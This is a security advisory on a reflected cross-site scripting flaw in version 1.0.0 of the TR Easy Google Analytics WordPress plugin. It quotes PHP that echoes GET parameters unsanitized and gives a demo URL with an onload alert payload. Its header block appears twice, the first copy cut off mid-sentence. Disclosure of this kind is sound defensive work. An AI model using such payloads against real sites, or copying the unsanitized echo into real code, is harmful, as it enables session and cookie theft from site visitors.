Class Input Validation Error
Remote Yes
Reflected Yes

Credit Ricardo Sanchez
Vulnerable TR Easy Google Analytics plugin 1.0.0

TR Easy Google Analytics plugin is Class Input Validation Error
Remote Yes
Reflected Yes

Credit Ricardo Sanchez
Vulnerable TR Easy Google Analytics plugin 1.0.0

TR Easy Google Analytics plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because all this values aren't filter correcly:

<style>
p {
margin-left: 50px;
margin-right: 20px;
font-family: <?php echo $_GET['font-family'] ?>;
color: <?php echo $_GET['color'] ?>;
font-size: <?php echo $_GET['font-size'] ?>;
font-weight: <?php echo $_GET['font-weight'] ?>;
font-style: <?php echo $_GET['font-style'] ?>;
line-height: <?php echo $_GET['line-height'] ?>;
letter-spacing: <?php echo $_GET['letter-spacing'] ?>;
text-transform: <?php echo $_GET['text-transform'] ?>;
font-variant: <?php echo $_GET['font-variant'] ?>;
text-shadow: <?php echo $textShadow ?>;
}
body {
margin: 20px 0;
background: #fff;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
body.dark {
background: #333;
}
</style>
....
<body class='<?php echo $_GET['dark'] ?>'>


Demo url:http://localhost/wordpress/wp-content/plugins/tr-easy-google-analytics/theme-option/iframe-font-preview.php?dark=%27onload%3d%27alert(%22XSS%22)%27